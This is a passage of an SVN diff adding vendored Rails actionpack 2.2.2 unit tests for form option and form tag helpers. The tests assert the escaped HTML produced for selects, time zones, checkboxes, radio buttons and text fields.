+          "<option value=\"ruby\" selected=\"selected\">ruby</option>\n<option value=\"rubyonrails\">rubyonrails</option>",
+          options_for_select([ "ruby", "rubyonrails" ], "ruby")
+        )
+        assert_dom_equal(
+          %(<option value="ruby" selected="selected">ruby</option>\n<option value="rubyonrails">rubyonrails</option>\n<option value=""></option>),
+          options_for_select([ "ruby", "rubyonrails", nil ], "ruby")
+        )
+    end
+
+    def test_hash_options_for_select
+      assert_dom_equal(
+        "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
+        options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").sort.join("\n")
+      )
+      assert_dom_equal(
+        "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+        options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").sort.join("\n")
+      )
+      assert_dom_equal(
+        "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+        options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").sort.join("\n")
+      )
+    end
+
+    def test_ducktyped_options_for_select
+      quack = Struct.new(:first, :last)
+      assert_dom_equal(
+        "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
+        options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")])
+      )
+      assert_dom_equal(
+        "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+        options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], "Dollar")
+      )
+      assert_dom_equal(
+        "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+        options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], ["Dollar", "<Kroner>"])
+      )
+    end
+
+    def test_option_groups_from_collection_for_select
+      @continents = [
+        Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")] ),
+        Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] )
+      ]
+
+      assert_dom_equal(
+        "<optgroup label=\"&lt;Africa&gt;\"><option value=\"&lt;sa&gt;\">&lt;South Africa&gt;</option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
+        option_groups_from_collection_for_select(@continents, "countries", "continent_name", "country_id", "country_name", "dk")
+      )
+    end
+
+    def test_time_zone_options_no_parms
+      opts = time_zone_options_for_select
+      assert_dom_equal "<option value=\"A\">A</option>\n" +
+                   "<option value=\"B\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\">D</option>\n" +
+                   "<option value=\"E\">E</option>",
+                   opts
+    end
+
+    def test_time_zone_options_with_selected
+      opts = time_zone_options_for_select( "D" )
+      assert_dom_equal "<option value=\"A\">A</option>\n" +
+                   "<option value=\"B\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                   "<option value=\"E\">E</option>",
+                   opts
+    end
+
+    def test_time_zone_options_with_unknown_selected
+      opts = time_zone_options_for_select( "K" )
+      assert_dom_equal "<option value=\"A\">A</option>\n" +
+                   "<option value=\"B\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\">D</option>\n" +
+                   "<option value=\"E\">E</option>",
+                   opts
+    end
+
+    def test_time_zone_options_with_priority_zones
+      zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+      opts = time_zone_options_for_select( nil, zones )
+      assert_dom_equal "<option value=\"B\">B</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\">D</option>",
+                   opts
+    end
+
+    def test_time_zone_options_with_selected_priority_zones
+      zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+      opts = time_zone_options_for_select( "E", zones )
+      assert_dom_equal "<option value=\"B\">B</option>\n" +
+                   "<option value=\"E\" selected=\"selected\">E</option>" +
+                   "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\">D</option>",
+                   opts
+    end
+
+    def test_time_zone_options_with_unselected_priority_zones
+      zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+      opts = time_zone_options_for_select( "C", zones )
+      assert_dom_equal "<option value=\"B\">B</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"C\" selected=\"selected\">C</option>\n" +
+                   "<option value=\"D\">D</option>",
+                   opts
+    end
+
+    def test_select
+      @post = Post.new
+      @post.category = "<mus>"
+      assert_dom_equal(
+        "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+        select("post", "category", %w( abe <mus> hest))
+      )
+    end
+
+    def test_select_under_fields_for
+      @post = Post.new
+      @post.category = "<mus>"
+
+      fields_for :post, @post do |f|
+        concat f.select(:category, %w( abe <mus> hest))
+      end
+    
+      assert_dom_equal(
+        "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+        output_buffer
+      )
+    end
+
+    def test_select_under_fields_for_with_index
+      @post = Post.new
+      @post.category = "<mus>"
+
+      fields_for :post, @post, :index => 108 do |f|
+        concat f.select(:category, %w( abe <mus> hest))
+      end
+
+      assert_dom_equal(
+        "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+        output_buffer
+      )
+    end
+
+    def test_select_under_fields_for_with_auto_index
+      @post = Post.new
+      @post.category = "<mus>"
+      def @post.to_param; 108; end
+
+      fields_for "post[]", @post do |f|
+        concat f.select(:category, %w( abe <mus> hest))
+      end
+
+      assert_dom_equal(
+        "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+        output_buffer
+      )
+    end
+
+    def test_select_with_blank
+      @post = Post.new
+      @post.category = "<mus>"
+      assert_dom_equal(
+        "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+        select("post", "category", %w( abe <mus> hest), :include_blank => true)
+      )
+    end
+
+    def test_select_with_blank_as_string
+      @post = Post.new
+      @post.category = "<mus>"
+      assert_dom_equal(
+        "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">None</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+        select("post", "category", %w( abe <mus> hest), :include_blank => 'None')
+      )
+    end
+
+    def test_select_with_default_prompt
+      @post = Post.new
+      @post.category = ""
+      assert_dom_equal(
+        "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+        select("post", "category", %w( abe <mus> hest), :prompt => true)
+      )
+    end
+
+    def test_select_no_prompt_when_select_has_value
+      @post = Post.new
+      @post.category = "<mus>"
+      assert_dom_equal(
+        "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+        select("post", "category", %w( abe <mus> hest), :prompt => true)
+      )
+    end
+
+    def test_select_with_given_prompt
+      @post = Post.new
+      @post.category = ""
+      assert_dom_equal(
+        "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+        select("post", "category", %w( abe <mus> hest), :prompt => 'The prompt')
+      )
+    end
+
+    def test_select_with_prompt_and_blank
+      @post = Post.new
+      @post.category = ""
+      assert_dom_equal(
+        "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+        select("post", "category", %w( abe <mus> hest), :prompt => true, :include_blank => true)
+      )
+    end
+
+    def test_select_with_selected_value
+      @post = Post.new
+      @post.category = "<mus>"
+      assert_dom_equal(
+        "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" selected=\"selected\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+        select("post", "category", %w( abe <mus> hest ), :selected => 'abe')
+      )
+    end
+  
+    def test_select_with_index_option
+      @album = Album.new
+      @album.id = 1
+    
+      expected = "<select id=\"album__genre\" name=\"album[][genre]\"><option value=\"rap\">rap</option>\n<option value=\"rock\">rock</option>\n<option value=\"country\">country</option></select>"    
+
+      assert_dom_equal(
+        expected, 
+        select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
+      )
+    end
+
+    def test_select_with_selected_nil
+      @post = Post.new
+      @post.category = "<mus>"
+      assert_dom_equal(
+        "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+        select("post", "category", %w( abe <mus> hest ), :selected => nil)
+      )
+    end
+
+    def test_collection_select
+      @posts = [
+        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
+      ]
+
+      @post = Post.new
+      @post.author_name = "Babe"
+
+      assert_dom_equal(
+        "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+        collection_select("post", "author_name", @posts, "author_name", "author_name")
+      )
+    end
+
+    def test_collection_select_under_fields_for
+      @posts = [
+        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
+      ]
+
+      @post = Post.new
+      @post.author_name = "Babe"
+
+      fields_for :post, @post do |f|
+        concat f.collection_select(:author_name, @posts, :author_name, :author_name)
+      end
+    
+      assert_dom_equal(
+        "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+        output_buffer
+      )
+    end
+
+    def test_collection_select_under_fields_for_with_index
+      @posts = [
+        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
+      ]
+
+      @post = Post.new
+      @post.author_name = "Babe"
+
+      fields_for :post, @post, :index => 815 do |f|
+        concat f.collection_select(:author_name, @posts, :author_name, :author_name)
+      end
+
+      assert_dom_equal(
+        "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+        output_buffer
+      )
+    end
+
+    def test_collection_select_under_fields_for_with_auto_index
+      @posts = [
+        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
+      ]
+
+      @post = Post.new
+      @post.author_name = "Babe"
+      def @post.to_param; 815; end
+
+      fields_for "post[]", @post do |f|
+        concat f.collection_select(:author_name, @posts, :author_name, :author_name)
+      end
+
+      assert_dom_equal(
+        "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+        output_buffer
+      )
+    end
+
+    def test_collection_select_with_blank_and_style
+      @posts = [
+        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
+      ]
+
+      @post = Post.new
+      @post.author_name = "Babe"
+
+      assert_dom_equal(
+        "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+        collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px")
+      )
+    end
+
+    def test_collection_select_with_blank_as_string_and_style
+      @posts = [
+        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
+      ]
+
+      @post = Post.new
+      @post.author_name = "Babe"
+
+      assert_dom_equal(
+        "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+        collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px")
+      )
+    end
+
+    def test_collection_select_with_multiple_option_appends_array_brackets
+      @posts = [
+        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
+      ]
+
+      @post = Post.new
+      @post.author_name = "Babe"
+
+      expected = "<select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
+
+      # Should suffix default name with [].
+      assert_dom_equal expected, collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => true }, :multiple => true)
+
+      # Shouldn't suffix custom name with [].
+      assert_dom_equal expected, collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true)
+    end
+
+    def test_time_zone_select
+      @firm = Firm.new("D")
+      html = time_zone_select( "firm", "time_zone" )
+      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"B\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "</select>",
+                   html
+    end
+
+    def test_time_zone_select_under_fields_for
+      @firm = Firm.new("D")
+
+      fields_for :firm, @firm do |f|
+        concat f.time_zone_select(:time_zone)
+      end
+    
+      assert_dom_equal(
+        "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+        "<option value=\"A\">A</option>\n" +
+        "<option value=\"B\">B</option>\n" +
+        "<option value=\"C\">C</option>\n" +
+        "<option value=\"D\" selected=\"selected\">D</option>\n" +
+        "<option value=\"E\">E</option>" +
+        "</select>",
+        output_buffer
+      )
+    end
+
+    def test_time_zone_select_under_fields_for_with_index
+      @firm = Firm.new("D")
+
+      fields_for :firm, @firm, :index => 305 do |f|
+        concat f.time_zone_select(:time_zone)
+      end
+
+      assert_dom_equal(
+        "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
+        "<option value=\"A\">A</option>\n" +
+        "<option value=\"B\">B</option>\n" +
+        "<option value=\"C\">C</option>\n" +
+        "<option value=\"D\" selected=\"selected\">D</option>\n" +
+        "<option value=\"E\">E</option>" +
+        "</select>",
+        output_buffer
+      )
+    end
+
+    def test_time_zone_select_under_fields_for_with_auto_index
+      @firm = Firm.new("D")
+      def @firm.to_param; 305; end
+
+      fields_for "firm[]", @firm do |f|
+        concat f.time_zone_select(:time_zone)
+      end
+
+      assert_dom_equal(
+        "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
+        "<option value=\"A\">A</option>\n" +
+        "<option value=\"B\">B</option>\n" +
+        "<option value=\"C\">C</option>\n" +
+        "<option value=\"D\" selected=\"selected\">D</option>\n" +
+        "<option value=\"E\">E</option>" +
+        "</select>",
+        output_buffer
+      )
+    end
+
+    def test_time_zone_select_with_blank
+      @firm = Firm.new("D")
+      html = time_zone_select("firm", "time_zone", nil, :include_blank => true)
+      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                   "<option value=\"\"></option>\n" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"B\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "</select>",
+                   html
+    end
+
+    def test_time_zone_select_with_blank_as_string
+      @firm = Firm.new("D")
+      html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone')
+      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                   "<option value=\"\">No Zone</option>\n" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"B\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "</select>",
+                   html
+    end
+
+    def test_time_zone_select_with_style
+      @firm = Firm.new("D")
+      html = time_zone_select("firm", "time_zone", nil, {},
+        "style" => "color: red")
+      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"B\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "</select>",
+                   html
+      assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
+        :style => "color: red")
+    end
+
+    def test_time_zone_select_with_blank_and_style
+      @firm = Firm.new("D")
+      html = time_zone_select("firm", "time_zone", nil,
+        { :include_blank => true }, "style" => "color: red")
+      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+                   "<option value=\"\"></option>\n" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"B\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "</select>",
+                   html
+      assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+        { :include_blank => true }, :style => "color: red")
+    end
+
+    def test_time_zone_select_with_blank_as_string_and_style
+      @firm = Firm.new("D")
+      html = time_zone_select("firm", "time_zone", nil,
+        { :include_blank => 'No Zone' }, "style" => "color: red")
+      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+                   "<option value=\"\">No Zone</option>\n" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"B\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "</select>",
+                   html
+      assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+        { :include_blank => 'No Zone' }, :style => "color: red")
+    end
+
+    def test_time_zone_select_with_priority_zones
+      @firm = Firm.new("D")
+      zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
+      html = time_zone_select("firm", "time_zone", zones )
+      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"D\" selected=\"selected\">D</option>" +
+                   "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                   "<option value=\"B\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "</select>",
+                   html
+    end
+
+    def test_time_zone_select_with_priority_zones_as_regexp
+      @firm = Firm.new("D")
+      @fake_timezones.each_with_index do |tz, i|
+        tz.stubs(:=~).returns(i.zero? || i == 3)
+      end
+
+      html = time_zone_select("firm", "time_zone", /A|D/)
+      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"D\" selected=\"selected\">D</option>" +
+                   "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                   "<option value=\"B\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "</select>",
+                   html
+    end
+
+    def test_time_zone_select_with_default_time_zone_and_nil_value
+       @firm = Firm.new()
+       @firm.time_zone = nil
+        html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
+        assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                     "<option value=\"A\">A</option>\n" +
+                     "<option value=\"B\" selected=\"selected\">B</option>\n" +
+                     "<option value=\"C\">C</option>\n" +
+                     "<option value=\"D\">D</option>\n" +
+                     "<option value=\"E\">E</option>" +
+                     "</select>",
+                     html
+    end
+
+    def test_time_zone_select_with_default_time_zone_and_value
+       @firm = Firm.new('D')
+        html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
+        assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                     "<option value=\"A\">A</option>\n" +
+                     "<option value=\"B\">B</option>\n" +
+                     "<option value=\"C\">C</option>\n" +
+                     "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                     "<option value=\"E\">E</option>" +
+                     "</select>",
+                     html
+    end
+
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/form_tag_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/form_tag_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/form_tag_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,320 @@
+require 'abstract_unit'
+
+class FormTagHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::FormTagHelper
+
+  def setup
+    @controller = Class.new do
+      def url_for(options)
+        "http://www.example.com"
+      end
+    end
+    @controller = @controller.new
+  end
+
+  VALID_HTML_ID = /^[A-Za-z][-_:.A-Za-z0-9]*$/ # see http://www.w3.org/TR/html4/types.html#type-name
+
+  def test_check_box_tag
+    actual = check_box_tag "admin"
+    expected = %(<input id="admin" name="admin" type="checkbox" value="1" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_check_box_tag_id_sanitized
+    label_elem = root_elem(check_box_tag("project[2][admin]"))
+    assert_match VALID_HTML_ID, label_elem['id']
+  end
+
+  def test_form_tag
+    actual = form_tag
+    expected = %(<form action="http://www.example.com" method="post">)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_multipart
+    actual = form_tag({}, { 'multipart' => true })
+    expected = %(<form action="http://www.example.com" enctype="multipart/form-data" method="post">)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_method_put
+    actual = form_tag({}, { :method => :put })
+    expected = %(<form action="http://www.example.com" method="post"><div style='margin:0;padding:0'><input type="hidden" name="_method" value="put" /></div>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_method_delete
+    actual = form_tag({}, { :method => :delete })
+    expected = %(<form action="http://www.example.com" method="post"><div style='margin:0;padding:0'><input type="hidden" name="_method" value="delete" /></div>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_block_in_erb
+    __in_erb_template = ''
+    form_tag("http://example.com") { concat "Hello world!" }
+
+    expected = %(<form action="http://example.com" method="post">Hello world!</form>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_tag_with_block_and_method_in_erb
+    __in_erb_template = ''
+    form_tag("http://example.com", :method => :put) { concat "Hello world!" }
+
+    expected = %(<form action="http://example.com" method="post"><div style='margin:0;padding:0'><input type="hidden" name="_method" value="put" /></div>Hello world!</form>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_hidden_field_tag
+    actual = hidden_field_tag "id", 3
+    expected = %(<input id="id" name="id" type="hidden" value="3" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_hidden_field_tag_id_sanitized
+    input_elem = root_elem(hidden_field_tag("item[][title]"))
+    assert_match VALID_HTML_ID, input_elem['id']
+  end
+
+  def test_file_field_tag
+    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" />", file_field_tag("picsplz")
+  end
+
+  def test_file_field_tag_with_options
+    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>", file_field_tag("picsplz", :class => "pix")
+  end
+
+  def test_password_field_tag
+    actual = password_field_tag
+    expected = %(<input id="password" name="password" type="password" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_radio_button_tag
+    actual = radio_button_tag "people", "david"
+    expected = %(<input id="people_david" name="people" type="radio" value="david" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("num_people", 5)
+    expected = %(<input id="num_people_5" name="num_people" type="radio" value="5" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("gender", "m") + radio_button_tag("gender", "f")
+    expected = %(<input id="gender_m" name="gender" type="radio" value="m" /><input id="gender_f" name="gender" type="radio" value="f" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("opinion", "-1") + radio_button_tag("opinion", "1")
+    expected = %(<input id="opinion_-1" name="opinion" type="radio" value="-1" /><input id="opinion_1" name="opinion" type="radio" value="1" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("person[gender]", "m")
+    expected = %(<input id="person_gender_m" name="person[gender]" type="radio" value="m" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag
+    actual = select_tag "people", "<option>david</option>"
+    expected = %(<select id="people" name="people"><option>david</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_multiple
+    actual = select_tag "colors", "<option>Red</option><option>Blue</option><option>Green</option>", :multiple => :true
+    expected = %(<select id="colors" multiple="multiple" name="colors"><option>Red</option><option>Blue</option><option>Green</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_disabled
+    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>", :disabled => :true
+    expected = %(<select id="places" disabled="disabled" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_id_sanitized
+    input_elem = root_elem(select_tag("project[1]people", "<option>david</option>"))
+    assert_match VALID_HTML_ID, input_elem['id']
+  end
+
+  def test_text_area_tag_size_string
+    actual = text_area_tag "body", "hello world", "size" => "20x40"
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">hello world</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_size_symbol
+    actual = text_area_tag "body", "hello world", :size => "20x40"
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">hello world</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_should_disregard_size_if_its_given_as_an_integer
+    actual = text_area_tag "body", "hello world", :size => 20
+    expected = %(<textarea id="body" name="body">hello world</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag
+    actual = text_field_tag "title", "Hello!"
+    expected = %(<input id="title" name="title" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_class_string
+    actual = text_field_tag "title", "Hello!", "class" => "admin"
+    expected = %(<input class="admin" id="title" name="title" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_size_symbol
+    actual = text_field_tag "title", "Hello!", :size => 75
+    expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
